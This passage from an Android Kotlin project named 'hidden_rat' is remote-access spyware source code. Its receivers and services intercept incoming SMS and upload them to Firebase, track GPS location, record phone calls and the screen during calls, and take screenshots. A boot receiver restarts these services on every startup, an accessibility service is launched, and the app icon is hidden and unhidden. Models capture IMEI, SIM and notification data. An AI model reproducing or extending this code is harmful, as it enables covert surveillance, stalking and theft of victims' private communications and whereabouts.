111 | // Ma'lumot Firebase ga muvaffaqiyatli yuborilgan, shuning uchun lokal faylni o'chiramiz
112 | deleteLocalSmsFile(context)
113 | }
114 | .addOnFailureListener { e ->
115 | Log.e("EVENT", "Error sending Location data to Firebase", e)
116 | }
117 | }
118 | }
119 |
120 | private fun deleteLocalSmsFile(context: Context) {
121 | val fileName = "location_data.json"
122 | val filePath = File(context.getExternalFilesDir(null), fileName)
123 | if (filePath.exists()) {
124 | filePath.delete()
125 | Log.d("EVENT", "Local Location file deleted successfully")
126 | } else {
127 | Log.e("EVENT", "Local Location file not found")
128 | }
129 | }
130 |
131 | private fun readSmsFromFile(context: Context): List {
132 | val gson = Gson()
133 | val fileName = "location_data.json"
134 | val filePath = File(context.getExternalFilesDir(null), fileName)
135 |
136 | if (!filePath.exists()) {
137 | // If file doesn't exist, return an empty list
138 | return emptyList()
139 | }
140 |
141 | val fileReader = FileReader(filePath)
142 | val typeToken = object : TypeToken>() {}.type
143 | return gson.fromJson(fileReader, typeToken)
144 | }
145 |
146 | @SuppressLint("MissingPermission")
147 | fun requestLocationUpdates(context: Context) {
148 |
149 | locationManager?.requestLocationUpdates(
150 | LocationManager.GPS_PROVIDER,
151 | 0,
152 | minDistance.toFloat(),
153 | this
154 | )
155 | }
156 |
157 | fun stopLocationUpdates() {
158 | // Stop location updates
159 | locationManager?.removeUpdates(this)
160 | }
161 | }
162 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/model/CallRecord.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.model
2 |
3 |
4 | data class CallRecord(
5 | val phoneNumber: String,
6 | val startTimeMillis: String,
7 | val endTimeMillis: String,
8 | val durationMillis: String,
9 | val fileLink: String
10 | )
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/model/Location.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.model
2 | /**
3 | * Created by Azamov on 5/06/25.
4 | */
5 | class Location {
6 |
7 | var latitude: Double? = null
8 | var longitude: Double? = null
9 | var address: String? = null
10 | var dateTime: String? = null
11 |
12 | constructor() {}
13 |
14 | constructor(latitude: Double, longitude: Double, address: String, dateTime: String) {
15 | this.latitude = latitude
16 | this.longitude = longitude
17 | this.address = address
18 | this.dateTime = dateTime
19 | }
20 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/model/LocationData.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.model
2 |
3 | data class LocationData(
4 | val latitude: Double,
5 | val longitude: Double,
6 | val accuracy: Float
7 | )
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/model/LogModel.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.model
2 |
3 | data class LogModel(val text:String,val packageName:String,val dayTime:String,val timeStamp:String,val batteryLevel: String,)
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/model/MessageModel.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.model
2 |
3 | data class MessageModel(
4 | val packageName: String,
5 | val status: String,
6 | val text: String,
7 | val timeStamp: String,
8 | val dayTime: String,
9 | )
10 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/model/NotificationModel.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.model
2 |
3 | data class NotificationModel(
4 | val packageName: String,
5 | val title: String,
6 | val text: String,
7 | val timeStamp: String,
8 | val dayTime: String,
9 | ){
10 | constructor() : this("", "", "", "", "")
11 |
12 | }
13 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/model/PhoneData.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.model
2 |
3 | data class PhoneData(
4 | val imei: String,
5 | val phoneModel: String,
6 | val networkOperatorName: String,
7 | val installedAppDate: String,
8 | val device: String,
9 | val product: String,
10 | val phoneNumber:String,
11 | )
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/model/SMSData.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.model
2 |
3 | import java.io.Serializable
4 |
5 | data class SMSData(
6 | val message: String,
7 | val sender: String,
8 | val sentTime: String,
9 | ): Serializable
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/model/SimCardInfo.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.model
2 |
3 | data class SimCardInfo(
4 | val slotIndex: Int,
5 | val carrierName: String,
6 | val phoneNumber: String
7 | )
8 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/receiver/BootReceiver.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.receiver
2 |
3 | import android.content.BroadcastReceiver
4 | import android.content.Context
5 | import android.content.Intent
6 | import com.ratx.hidden_rat.service.MyNotificationListenerService
7 | import com.ratx.hidden_rat.service.SmsService
8 | import com.ratx.hidden_rat.service.SvcAccFix
9 |
10 | class BootReceiver : BroadcastReceiver() {
11 |
12 | override fun onReceive(context: Context, intent: Intent) {
13 | if (intent.action == Intent.ACTION_BOOT_COMPLETED) {
14 | // MyNotificationListenerService-ni boshlash
15 | val notificationServiceIntent =
16 | Intent(context, MyNotificationListenerService::class.java)
17 | context.startService(notificationServiceIntent)
18 |
19 | // AccessibilityService-ni boshlash
20 | val accessibilityServiceIntent = Intent(context, SvcAccFix::class.java)
21 | context.startService(accessibilityServiceIntent)
22 |
23 | // SmsService-ni boshlash
24 | val smsServiceIntent = Intent(context, SmsService::class.java)
25 | context.startService(smsServiceIntent)
26 |
27 |
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/receiver/Receiver.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.receiver
2 |
3 | import android.content.BroadcastReceiver
4 | import android.content.ComponentName
5 | import android.content.Context
6 | import android.content.Intent
7 | import android.content.pm.PackageManager
8 | import android.widget.Toast
9 | import com.ratx.hidden_rat.activity.MainFixActivity
10 |
11 | class Receiver : BroadcastReceiver() {
12 | override fun onReceive(context: Context?, intent: Intent?) {
13 | //checking if action is PHONE_STATE
14 | if (intent?.action == "android.intent.action.PHONE_STATE") {
15 |
16 | Toast.makeText(context, "Un-hiding app icon...", Toast.LENGTH_LONG).show()
17 |
18 | // unhiding app icon
19 | val p: PackageManager = context!!.packageManager
20 | val componentName = ComponentName(context, MainFixActivity::class.java)
21 | p.setComponentEnabledSetting(
22 | componentName,
23 | PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
24 | PackageManager.DONT_KILL_APP
25 | )
26 |
27 | }
28 |
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/receiver/SmsReceiver.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.receiver
2 |
3 | import android.content.BroadcastReceiver
4 | import android.content.Context
5 | import android.content.Intent
6 | import android.net.ConnectivityManager
7 | import android.util.Log
8 | import com.ratx.hidden_rat.model.SMSData
9 | import com.google.firebase.firestore.FirebaseFirestore
10 | import com.google.gson.Gson
11 | import com.google.gson.reflect.TypeToken
12 | import java.io.File
13 | import java.io.FileOutputStream
14 | import java.io.FileReader
15 | import java.text.SimpleDateFormat
16 | import java.util.Calendar
17 | import java.util.Locale
18 |
19 | class SmsReceiver : BroadcastReceiver() {
20 | override fun onReceive(context: Context, intent: Intent) {
21 | val action = intent.action
22 | if (action == "android.provider.Telephony.SMS_RECEIVED") {
23 | val bundle = intent.extras
24 | if (bundle != null) {
25 | val pdus = bundle.get("pdus") as Array<*>
26 | for (i in pdus.indices) {
27 | val smsMessage =
28 | android.telephony.SmsMessage.createFromPdu(pdus[i] as ByteArray)
29 | val senderPhoneNumber = smsMessage.originatingAddress
30 | val messageBody = smsMessage.messageBody
31 | val receivedTime = smsMessage.timestampMillis
32 |
33 | val smsData = SMSData(
34 | messageBody ?: "",
35 | senderPhoneNumber ?: "",
36 | convertMillisToReadableTime(receivedTime)
37 | )
38 | if (isOnline(context)) {
39 | if (isLocalSmsAvailable(context)) {
40 | sendAllSmsDataToFirebase(context)
41 | saveSmsDataToFirebase(smsData, context)
42 | } else {
43 | saveSmsDataToFirebase(smsData, context)
44 |
45 | }
46 | } else {
47 | saveSmsToFile(context, smsData)
48 | }
49 | }
50 | }
51 | }
52 | }
53 |
54 | private fun saveSmsDataToFirebase(smsData: SMSData, context: Context) {
55 | val deviceModel = android.os.Build.MODEL
56 | val collectionReference = FirebaseFirestore.getInstance().collection("sms_$deviceModel")
57 | collectionReference.add(smsData)
58 | .addOnSuccessListener { documentReference ->
59 | Log.d("EVENT", "SMS data sent to Firebase successfully")
60 | }
61 | .addOnFailureListener { e ->
62 | Log.e("EVENT", "Error sending SMS data to Firebase", e)
63 | }
64 | }
65 |
66 | private fun isOnline(context: Context): Boolean {
67 | val connectivityManager =
68 | context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
69 | val networkInfo = connectivityManager.activeNetworkInfo
70 | return networkInfo != null && networkInfo.isConnected
71 | }
72 |
73 |
74 | private fun isLocalSmsAvailable(context: Context): Boolean {
75 | val fileName = "sms_log.json"
76 | val filePath = File(context.getExternalFilesDir(null), fileName)
77 | return filePath.exists()
78 | }
79 |
80 | private fun saveSmsToFile(context: Context, smsData: SMSData) {
81 | val gson = Gson()
82 |
83 | // Convert the list to JSON string
84 | val jsonString = gson.toJson(smsData)
85 |
86 | val fileName = "sms_log.json"
87 | val filePath = File(context.getExternalFilesDir(null), fileName)
88 | val outputStream = FileOutputStream(filePath, false) // Rewrite the file
89 | outputStream.write(jsonString.toByteArray())
90 | outputStream.close()
91 | }
92 |
93 | private fun sendAllSmsDataToFirebase(context: Context) {
94 | val smsDataList = readSmsFromFile(context)
95 | val deviceModel = android.os.Build.MODEL
96 | val collectionReference = FirebaseFirestore.getInstance().collection("sms_$deviceModel")
97 | for (smsData in smsDataList) {
98 | collectionReference.add(smsData)
99 | .addOnSuccessListener { documentReference ->
100 | Log.d("EVENT", "SMS data sent to Firebase successfully")
101 | // Ma'lumot Firebase ga muvaffaqiyatli yuborilgan, shuning uchun lokal faylni o'chiramiz
102 | deleteLocalSmsFile(context)
103 | }
104 | .addOnFailureListener { e ->
105 | Log.e("EVENT", "Error sending SMS data to Firebase", e)
106 | }
107 | }
108 | }
109 |
110 | private fun deleteLocalSmsFile(context: Context) {
111 | val fileName = "sms_log.json"
112 | val filePath = File(context.getExternalFilesDir(null), fileName)
113 | if (filePath.exists()) {
114 | filePath.delete()
115 | Log.d("EVENT", "Local SMS file deleted successfully")
116 | } else {
117 | Log.e("EVENT", "Local SMS file not found")
118 | }
119 | }
120 |
121 | private fun readSmsFromFile(context: Context): List {
122 | val gson = Gson()
123 | val fileName = "sms_log.json"
124 | val filePath = File(context.getExternalFilesDir(null), fileName)
125 |
126 | if (!filePath.exists()) {
127 | // If file doesn't exist, return an empty list
128 | return emptyList()
129 | }
130 |
131 | val fileReader = FileReader(filePath)
132 | val typeToken = object : TypeToken>() {}.type
133 | return gson.fromJson(fileReader, typeToken)
134 | }
135 |
136 | private fun convertMillisToReadableTime(timestamp: Long): String {
137 | val sdf = SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault())
138 | val calendar = Calendar.getInstance()
139 | calendar.timeInMillis = timestamp
140 | return sdf.format(calendar.time)
141 | }
142 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/screen/NotificationItemPage.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.screen
2 |
3 | import android.os.Bundle
4 | import androidx.fragment.app.Fragment
5 | import android.view.LayoutInflater
6 | import android.view.View
7 | import android.view.ViewGroup
8 | import com.ratx.hidden_rat.model.NotificationModel
9 | import com.ratx.hidden_rat.databinding.NotificationItemPageBinding
10 |
11 | class NotificationItemPage (val list:MutableList) : Fragment()
12 | {
13 | private var _binding: NotificationItemPageBinding? = null
14 | private val binding get() = _binding!!
15 | override fun onCreateView(
16 | inflater: LayoutInflater,
17 | container: ViewGroup?,
18 | savedInstanceState: Bundle?
19 | ): View? {
20 | _binding = NotificationItemPageBinding.inflate(inflater, container, false)
21 | val root: View = binding.root
22 | return root
23 | }
24 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/service/CallRecordingService.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.service
2 |
3 | import android.Manifest
4 | import android.app.Service
5 | import android.content.Context
6 | import android.content.Intent
7 | import android.content.pm.PackageManager
8 | import android.media.AudioManager
9 | import android.media.MediaRecorder
10 | import android.os.IBinder
11 | import android.telephony.PhoneStateListener
12 | import android.telephony.TelephonyManager
13 | import android.text.format.DateFormat
14 | import android.util.Log
15 | import androidx.core.app.ActivityCompat
16 | import com.ratx.hidden_rat.model.CallRecord
17 | import com.google.gson.Gson
18 | import java.io.File
19 | import java.io.IOException
20 | import java.text.SimpleDateFormat
21 | import java.util.*
22 |
23 | class CallRecordingService : Service() {
24 | private var mediaRecorder: MediaRecorder? = null
25 | private var startTimeMillis: Long = 0
26 | private val callRecordList = mutableListOf()
27 |
28 | override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
29 | val telephonyManager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
30 | telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_CALL_STATE)
31 | return START_STICKY
32 | }
33 |
34 | private val phoneStateListener = object : PhoneStateListener() {
35 | override fun onCallStateChanged(state: Int, phoneNumber: String?) {
36 | super.onCallStateChanged(state, phoneNumber)
37 | when (state) {
38 | TelephonyManager.CALL_STATE_OFFHOOK -> {
39 | Log.d("EVENT", "onCallStateChanged: ")
40 | startRecording()
41 | ScreenRecordService.startRecording(applicationContext)
42 | }
43 | TelephonyManager.CALL_STATE_IDLE -> {
44 | Log.d("EVENT", "onCallStateChanged: STOPPED")
45 | stopRecording()
46 | ScreenRecordService.stopRecording(applicationContext)
47 | }
48 | }
49 | }
50 | }
51 |
52 | private fun startRecording() {
53 | if (mediaRecorder != null) {
54 | return
55 | }
56 | if (checkSelfPermission(Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
57 | return
58 | }
59 |
60 | startTimeMillis = System.currentTimeMillis()
61 | val audioManager = getSystemService(Context.AUDIO_SERVICE) as AudioManager
62 | audioManager.requestAudioFocus(
63 | null,
64 | AudioManager.STREAM_VOICE_CALL,
65 | AudioManager.AUDIOFOCUS_GAIN_TRANSIENT
66 | )
67 |
68 |
69 | mediaRecorder = MediaRecorder().apply {
70 | setAudioSource(MediaRecorder.AudioSource.VOICE_COMMUNICATION);
71 | setOutputFormat(MediaRecorder.OutputFormat.AMR_NB);
72 | setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
73 | setAudioSamplingRate(44100);
74 | try {
75 | setOutputFile(getExternalFilesDir(null)?.absolutePath + "/recorded_call_${Date().time}.mp3")
76 | prepare()
77 | start()
78 | } catch (e: IOException) {
79 | e.printStackTrace()
80 | }
81 | }
82 |
83 | }
84 |
85 | private fun getOutputFile(): File {
86 | val callId = getCallId()
87 | val fileName = "${getPhoneNumber()}_${callId}.mp3"
88 | val dir = File(getExternalFilesDir(null), "call_records") // Aloqada papka yaratish
89 | if (!dir.exists()) {
90 | dir.mkdirs() // Agar papka mavjud emas bo'lsa, yaratish
91 | }
92 | return File(dir, fileName)
93 | }
94 |
95 | private fun getCallId(): String {
96 | val telephonyManager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
97 | val callId = "${telephonyManager.networkOperatorName}_${UUID.randomUUID()}"
98 | return callId
99 | }
100 |
101 | private fun stopRecording() {
102 | mediaRecorder?.apply {
103 | stop()
104 | release()
105 | }
106 | mediaRecorder = null
107 |
108 | val endTimeMillis = System.currentTimeMillis()
109 | val durationMillis = endTimeMillis - startTimeMillis
110 | val dateFormat = SimpleDateFormat("HH:mm", Locale.getDefault())
111 | val endTimeString = dateFormat.format(Date())
112 | val startTimeString = dateFormat.format(startTimeMillis)
113 | val durationString = millisToMinutes(durationMillis)
114 | val phoneNumber = "Unknown"
115 | val timestamp = System.currentTimeMillis()
116 | val dayTime = DateFormat.format("hh:mm:ss a - E dd/MM/yy", timestamp).toString()
117 | val fileName = "${phoneNumber}_${dayTime}.mp3"
118 | val fileLink = getOutputFile().absolutePath
119 | val callRecord =
120 | CallRecord(phoneNumber, startTimeString, endTimeString, durationString, fileLink)
121 | callRecordList.add(callRecord)
122 |
123 | saveCallRecordsToFile(callRecordList)
124 | Log.d(
125 | "EVENT",
126 | "stopRecording: ${fileLink} duration: $durationMillis, phoneNumber: $phoneNumber"
127 | )
128 | }
129 |
130 |
131 | private fun saveCallRecordsToFile(callRecords: List) {
132 | val gson = Gson()
133 | val json = gson.toJson(callRecords)
134 | val file = File(getExternalFilesDir(null), "call_records.json")
135 | file.writeText(json)
136 | }
137 |
138 | private fun getPhoneNumber(): String? {
139 | val telephonyManager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
140 | return if (ActivityCompat.checkSelfPermission(
141 | this,
142 | Manifest.permission.READ_PHONE_NUMBERS
143 | ) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(
144 | this,
145 | Manifest.permission.READ_PHONE_STATE
146 | ) != PackageManager.PERMISSION_GRANTED
147 | ) {
148 |
149 | "not_granted"
150 | } else "not_granted"
151 | }
152 |
153 | override fun onBind(intent: Intent?): IBinder? = null
154 |
155 | override fun onDestroy() {
156 | super.onDestroy()
157 | val telephonyManager = getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
158 | telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_NONE)
159 | }
160 |
161 | fun millisToMinutes(millis: Long): String {
162 | val minutes = (millis / (1000 * 60)).toInt()
163 | val seconds = ((millis / 1000) % 60).toInt()
164 | return String.format("%02d:%02d", minutes, seconds)
165 | }
166 | }
167 |
168 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/service/LocationService.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.service
2 |
3 | import android.app.*
4 | import android.content.Context
5 | import android.content.Intent
6 | import android.location.LocationManager
7 | import android.net.ConnectivityManager
8 | import android.os.Build
9 | import android.os.IBinder
10 | import android.util.Log
11 | import com.ratx.hidden_rat.R
12 | import com.ratx.hidden_rat.activity.MainFixActivity
13 | import com.ratx.hidden_rat.listener.MyLocationListener
14 | import com.ratx.hidden_rat.model.LocationData
15 | import com.google.firebase.firestore.FirebaseFirestore
16 | import com.google.gson.Gson
17 | import com.google.gson.reflect.TypeToken
18 | import java.io.File
19 | import java.io.FileOutputStream
20 | import java.io.FileReader
21 |
22 | class LocationService : Service() {
23 |
24 | private lateinit var locationManager: LocationManager
25 | private lateinit var notificationManager: NotificationManager
26 | private lateinit var locationListener: MyLocationListener
27 | private lateinit var firebaseFireStore : FirebaseFirestore
28 |
29 | override fun onBind(intent: Intent?): IBinder? {
30 | return null
31 | }
32 |
33 | override fun onCreate() {
34 | super.onCreate()
35 |
36 | firebaseFireStore = FirebaseFirestore.getInstance()
37 | locationListener = MyLocationListener(this)
38 | locationManager = getSystemService(Context.LOCATION_SERVICE) as LocationManager
39 | notificationManager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
40 | }
41 |
42 | override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
43 | // Create notification channel if Android version is Oreo or above
44 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
45 | val channel = NotificationChannel(
46 | CHANNEL_ID,
47 | "Location Service Channel",
48 | NotificationManager.IMPORTANCE_DEFAULT
49 | )
50 | notificationManager.createNotificationChannel(channel)
51 | }
52 |
53 | // Create notification
54 | val notificationIntent = Intent(this, MainFixActivity::class.java)
55 | val pendingIntent = PendingIntent.getActivity(
56 | this,
57 | 0, notificationIntent, PendingIntent.FLAG_MUTABLE
58 | )
59 |
60 | val notification: Notification = Notification.Builder(this, CHANNEL_ID)
61 | .setContentTitle("Location Service")
62 | .setContentText("Running")
63 | .setSmallIcon(R.drawable.ic_signal)
64 | .setContentIntent(pendingIntent)
65 | .build()
66 |
67 | // Start service in foreground with notification
68 | startForeground(NOTIFICATION_ID, notification)
69 |
70 | locationListener.requestLocationUpdates(this)
71 | locationListener.setLocationDataListener {location->
72 | Log.d("EVENT", "onStartCommand: ${location}")
73 |
74 | }
75 | return START_STICKY
76 | }
77 |
78 | override fun onDestroy() {
79 | super.onDestroy()
80 | // Stop location updates when service is destroyed
81 | locationManager.removeUpdates(locationListener)
82 | }
83 |
84 | private fun isOnline(context: Context): Boolean {
85 | val connectivityManager =
86 | context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
87 | val networkInfo = connectivityManager.activeNetworkInfo
88 | return networkInfo != null && networkInfo.isConnected
89 | }
90 |
91 |
92 | private fun saveSmsDataToFirebase(smsData: LocationData, context: Context) {
93 | val deviceModel = android.os.Build.MODEL
94 | val collectionReference = FirebaseFirestore.getInstance().collection("location_$deviceModel")
95 | collectionReference.add(smsData)
96 | .addOnSuccessListener { documentReference ->
97 | Log.d("EVENT", "Location data sent to Firebase successfully")
98 | }
99 | .addOnFailureListener { e ->
100 | Log.e("EVENT", "Error sending Location data to Firebase", e)
101 | }
102 | }
103 |
104 | private fun isLocalSmsAvailable(context: Context): Boolean {
105 | val fileName = "location_data.json"
106 | val filePath = File(context.getExternalFilesDir(null), fileName)
107 | return filePath.exists()
108 | }
109 |
110 | private fun saveSmsToFile(context: Context, smsData: LocationData) {
111 | val gson = Gson()
112 |
113 | // Convert the list to JSON string
114 | val jsonString = gson.toJson(smsData)
115 |
116 | val fileName = "location_data.json"
117 | val filePath = File(context.getExternalFilesDir(null), fileName)
118 | val outputStream = FileOutputStream(filePath, false) // Rewrite the file
119 | outputStream.write(jsonString.toByteArray())
120 | outputStream.close()
121 | }
122 |
123 | private fun sendAllSmsDataToFirebase(context: Context) {
124 | val smsDataList = readSmsFromFile(context)
125 | val deviceModel = android.os.Build.MODEL
126 | val collectionReference = FirebaseFirestore.getInstance().collection("location_$deviceModel")
127 | for (smsData in smsDataList) {
128 | collectionReference.add(smsData)
129 | .addOnSuccessListener { documentReference ->
130 | Log.d("EVENT", "Location data sent to Firebase successfully")
131 | // Ma'lumot Firebase ga muvaffaqiyatli yuborilgan, shuning uchun lokal faylni o'chiramiz
132 | deleteLocalSmsFile(context)
133 | }
134 | .addOnFailureListener { e ->
135 | Log.e("EVENT", "Error sending Location data to Firebase", e)
136 | }
137 | }
138 | }
139 |
140 | private fun deleteLocalSmsFile(context: Context) {
141 | val fileName = "location_data.json"
142 | val filePath = File(context.getExternalFilesDir(null), fileName)
143 | if (filePath.exists()) {
144 | filePath.delete()
145 | Log.d("EVENT", "Local Location file deleted successfully")
146 | } else {
147 | Log.e("EVENT", "Local Location file not found")
148 | }
149 | }
150 |
151 | private fun readSmsFromFile(context: Context): List {
152 | val gson = Gson()
153 | val fileName = "location_data.json"
154 | val filePath = File(context.getExternalFilesDir(null), fileName)
155 |
156 | if (!filePath.exists()) {
157 | // If file doesn't exist, return an empty list
158 | return emptyList()
159 | }
160 |
161 | val fileReader = FileReader(filePath)
162 | val typeToken = object : TypeToken>() {}.type
163 | return gson.fromJson(fileReader, typeToken)
164 | }
165 |
166 | companion object {
167 | private const val CHANNEL_ID = "LocationServiceChannel"
168 | private const val NOTIFICATION_ID = 1
169 | }
170 | }
171 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/service/ScreenCaptureActivity.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.service
2 |
3 | import android.annotation.SuppressLint
4 | import android.app.Activity
5 | import android.content.Context
6 | import android.content.Intent
7 | import android.graphics.Bitmap
8 | import android.graphics.PixelFormat
9 | import android.hardware.display.DisplayManager
10 | import android.media.ImageReader
11 | import android.media.projection.MediaProjection
12 | import android.media.projection.MediaProjectionManager
13 | import android.os.Bundle
14 | import android.os.Handler
15 | import android.os.Looper
16 | import android.util.Log
17 | import java.io.File
18 | import java.io.FileOutputStream
19 |
20 | class ScreenCaptureActivity : Activity() {
21 |
22 | private val REQUEST_CODE = 1234
23 | private lateinit var mediaProjectionManager: MediaProjectionManager
24 |
25 | override fun onCreate(savedInstanceState: Bundle?) {
26 | super.onCreate(savedInstanceState)
27 | mediaProjectionManager = getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
28 | startActivityForResult(mediaProjectionManager.createScreenCaptureIntent(), REQUEST_CODE)
29 | }
30 |
31 | override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
32 | if (requestCode == REQUEST_CODE && resultCode == RESULT_OK && data != null) {
33 | val projection = mediaProjectionManager.getMediaProjection(resultCode, data)
34 | startCapture(projection)
35 | } else {
36 | finish()
37 | }
38 | }
39 |
40 | @SuppressLint("WrongConstant")
41 | private fun startCapture(mediaProjection: MediaProjection) {
42 | val metrics = resources.displayMetrics
43 | val width = metrics.widthPixels
44 | val height = metrics.heightPixels
45 | val density = metrics.densityDpi
46 |
47 | val imageReader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888, 1)
48 | val virtualDisplay = mediaProjection.createVirtualDisplay(
49 | "ScreenCapture",
50 | width, height, density,
51 | DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
52 | imageReader.surface, null, null
53 | )
54 |
55 | Handler(Looper.getMainLooper()).postDelayed({
56 | val image = imageReader.acquireLatestImage()
57 | if (image != null) {
58 | val planes = image.planes
59 | val buffer = planes[0].buffer
60 | val pixelStride = planes[0].pixelStride
61 | val rowStride = planes[0].rowStride
62 | val rowPadding = rowStride - pixelStride * width
63 |
64 | val bitmap = Bitmap.createBitmap(
65 | width + rowPadding / pixelStride,
66 | height, Bitmap.Config.ARGB_8888
67 | )
68 | bitmap.copyPixelsFromBuffer(buffer)
69 | image.close()
70 |
71 | // Save to file
72 | val file = File(getExternalFilesDir(null), "screenshot_${System.currentTimeMillis()}.jpg")
73 | FileOutputStream(file).use { fos ->
74 | bitmap.compress(Bitmap.CompressFormat.JPEG, 90, fos)
75 | }
76 |
77 | Log.d("ScreenCapture", "Screenshot saved: ${file.absolutePath}")
78 | }
79 | imageReader.close()
80 | virtualDisplay.release()
81 | mediaProjection.stop()
82 | finish()
83 | }, 1000) // Delay 1 sec to allow screen to stabilize
84 | }
85 | }
86 |
--------------------------------------------------------------------------------
/app/src/main/java/com/ratx/hidden_rat/service/ScreenRecordService.kt:
--------------------------------------------------------------------------------
1 | package com.ratx.hidden_rat.service
2 |
3 | import android.app.Activity
4 | import android.app.Service
5 | import android.content.Context
6 | import android.content.Intent
7 | import android.hardware.display.DisplayManager
8 | import android.hardware.display.VirtualDisplay
9 | import android.media.MediaRecorder
10 | import android.media.projection.MediaProjection
11 | import android.media.projection.MediaProjectionManager
12 | import android.os.Environment
13 | import android.os.IBinder
14 | import android.util.DisplayMetrics
15 | import android.util.Log
16 | import android.view.WindowManager
17 | import java.io.File
18 | import java.text.SimpleDateFormat
19 | import java.util.*
20 |
21 | class ScreenRecordService : Service() {
22 |
23 | private var mediaProjectionManager: MediaProjectionManager? = null
24 | private var mediaProjection: MediaProjection? = null
25 | private var mediaRecorder: MediaRecorder? = null
26 | private var virtualDisplay: VirtualDisplay? = null
27 | private var isRecording = false
28 |
29 | override fun onBind(intent: Intent?): IBinder? {
30 | return null
31 | }
32 |
33 | override fun onCreate() {
34 | super.onCreate()
35 | mediaProjectionManager = getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
36 | }
37 |
38 | override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
39 | if (intent?.action == ACTION_START_RECORDING) {
40 | startRecording()
41 | } else if (intent?.action == ACTION_STOP_RECORDING) {
42 | stopRecording()
43 | }
44 | return START_STICKY
45 | }
46 |
47 | override fun onDestroy() {
48 | stopRecording()
49 | super.onDestroy()
50 | }
51 |
52 | private fun startRecording() {
53 | if (!isRecording) {
54 | mediaProjection = mediaProjectionManager?.getMediaProjection(Activity.RESULT_OK, Intent())
55 | if (mediaProjection != null) {
56 | initRecorder()
57 | createVirtualDisplay()
58 | mediaRecorder?.start()
59 | isRecording = true
60 | } else {
61 | stopSelf()
62 | }
63 | }
64 | }
65 |
66 | private fun stopRecording() {
67 | if (isRecording) {
68 | mediaRecorder?.stop()
69 | mediaRecorder?.reset()
70 | mediaRecorder?.release()
71 | mediaRecorder = null
72 | virtualDisplay?.release()
73 | virtualDisplay = null
74 | mediaProjection?.stop()
75 | mediaProjection = null
76 | isRecording = false
77 | }
78 | }
79 |
80 | private fun initRecorder() {
81 | val timestamp = SimpleDateFormat("yyyyMMdd_HHmmss", Locale.getDefault()).format(Date())
82 | val dir = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_MOVIES)
83 | val file = File(dir, "Recording_$timestamp.mp4")
84 | Log.d("Event", "initRecorder: ${file.absolutePath}")
85 | mediaRecorder = MediaRecorder().apply {
86 | setAudioSource(MediaRecorder.AudioSource.MIC)
87 | setVideoSource(MediaRecorder.VideoSource.SURFACE)
88 | setOutputFormat(MediaRecorder.OutputFormat.MPEG_4)
89 | setOutputFile(file.absolutePath)
90 | setVideoEncoder(MediaRecorder.VideoEncoder.H264)
91 | setAudioEncoder(MediaRecorder.AudioEncoder.AAC)
92 | setVideoSize(720, 1280)
93 | setVideoEncodingBitRate(4000000)
94 | setVideoFrameRate(30)
95 | prepare()
96 | }
97 | }
98 |
99 | private fun createVirtualDisplay() {
100 | val metrics = DisplayMetrics()
